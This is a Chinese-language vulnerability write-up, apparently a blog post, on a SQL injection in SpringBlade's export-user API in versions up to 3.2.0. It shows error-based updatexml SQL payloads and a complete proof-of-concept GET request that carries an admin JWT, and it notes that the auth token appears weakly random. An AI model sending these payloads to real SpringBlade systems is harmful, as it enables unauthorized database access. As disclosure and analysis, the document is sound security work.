SpringBlade export-user SQL 注入漏洞分析

漏洞描述

SpringBlade是一个基于Spring Cloud和Spring Boot的开发框架,旨在简化和加速微服务架构的开发过程。它提供了一系列开箱即用的功能和组件,帮助开发人员快速构建高效可靠的微服务应用。该产品/api/blade-user/export-user接口存在SQL注入。

漏洞影响版本

SpringBlade <= v3.2.0

产品项目地址

SpringBlade: SpringBlade 是一个由商业级项目升级优化而来的微服务架构,采用Spring Boot 2.7 、Spring Cloud 2021 等核心技术构建,完全遵循阿里巴巴编码规范。提供基于React和Vue的两个前端框架用于快速搭建企业级的SaaS多租户微服务平台。https://gitee.com/smallc/SpringBlade

项目源码下载

SpringBlade 发行版 - Gitee.comhttps://gitee.com/smallc/SpringBlade/releases

漏洞分析

位于包package org.springblade.modules.system.controller;下的UserController

其中有方法 exportUser

该方法引用了QueryWrapper做为sql的查询条件,其中Map<String, Object> user是我们可控的参数

QueryWrapper使得sql语句变成如下这样的形式

复制代码
SELECT * FROM user WHERE key = 'value' AND key = value AND is_deleted = 0

sql语句中where后面的数据 是我们可控的,如此我们尝试构造如下sql语句

复制代码
SELECT * FROM `blade_user` WHERE updatexml(1,concat(0x7e,user(),0x7e),1)=1;
SELECT * FROM `blade_user` WHERE 1=updatexml(1,concat(0x7e,user(),0x7e),1);
SELECT * FROM `blade_user` WHERE updatexml(1,concat(0x7e,user(),0x7e),1);

先在本地测试一下

payload可以造成sql注入

漏洞环境搭建

{本次踩的坑有点多,不想细说了}

本地项目前后端分离,下载下面链接的前后端项目

项目源码下载

SpringBlade 发行版 - Gitee.comhttps://gitee.com/smallc/SpringBlade/releases

后端 配置好mysql redis 直接启动

前端 在项目中执行两条命令直接启动

npm install //下载前端所需包

npm start // 启动前端项目

项目搭建有问题的,可以看官方参考文档

Wiki - Gitee.comhttps://gitee.com/smallc/SpringBlade/wikis/SpringBlade%E5%BC%80%E5%8F%91%E6%89%8B%E5%86%8C

漏洞复现

打开环境web 登录页面

在用户管理页面选择导出数据

burp抓包 增加sql注入payload

sql语句成功执行,漏洞复现成功。

附赠poc

GET /api/blade-user/export-user?blade-auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwidG9rZW5fdHlwZSI6ImFjY2Vzc190b2tlbiIsImRlcHRfaWQiOiIxMTIzNTk4ODEzNzM4Njc1MjAxIiwiYWNjb3VudCI6ImFkbWluIiwiY2xpZW50X2lkIjoic3dvcmQiLCJleHAiOjE3MDkxMDQyMDcsIm5iZiI6MTcwOTEwMDYwN30.-Nniy1hq-gVtymm1MFWgbAuTOjwiMMheMccrXoIeeL4hbpRqMS2Fbsmf7EiJWBwMqSPX_Us4MAPevRdZVauNEQ&account=&realName=&updatexml(1,concat(0x7e,user(),0x7e),1)=1 HTTP/1.1

Host: 192.168.116.128:1888

注意:blade-auth是必要的 ,本次测试时只要admin登录情况下这串blade-auth就是可用的 貌似生成不够随机,这也算是另一个漏洞了。

相关推荐
程序员柳23 分钟前
基于微信小程序的校园二手交易平台、微信小程序校园二手商城源代码+数据库+使用说明,layui+微信小程序+Spring Boot
数据库·微信小程序·layui
梦在深巷、42 分钟前
MySQL/MariaDB数据库主从复制之基于二进制日志的方式
linux·数据库·mysql·mariadb
深圳安锐科技有限公司1 小时前
深圳安锐科技发布国内首款4G 索力仪!让斜拉桥索力自动化监测更精准高效
运维·安全·自动化·自动化监测·人工监测·桥梁监测·索力监测
IT乌鸦坐飞机1 小时前
ansible部署数据库服务随机启动并创建用户和设置用户有完全权限
数据库·ansible·centos7
IT_10241 小时前
Spring Boot项目开发实战销售管理系统——数据库设计!
java·开发语言·数据库·spring boot·后端·oracle
潘锦1 小时前
海量「免费」的 OPENAI KEY,你敢用吗?
安全·openai
冰橙子id1 小时前
linux系统安全
linux·安全·系统安全
祁思妙想2 小时前
八股学习(三)---MySQL
数据库·学习·mysql
惊骇世俗王某人2 小时前
1.MySQL之如何定位慢查询
数据库·mysql
程序员张33 小时前
SQL分析与打印-p6spy组件
spring boot·sql·mybatis·mybatisplus·p6spy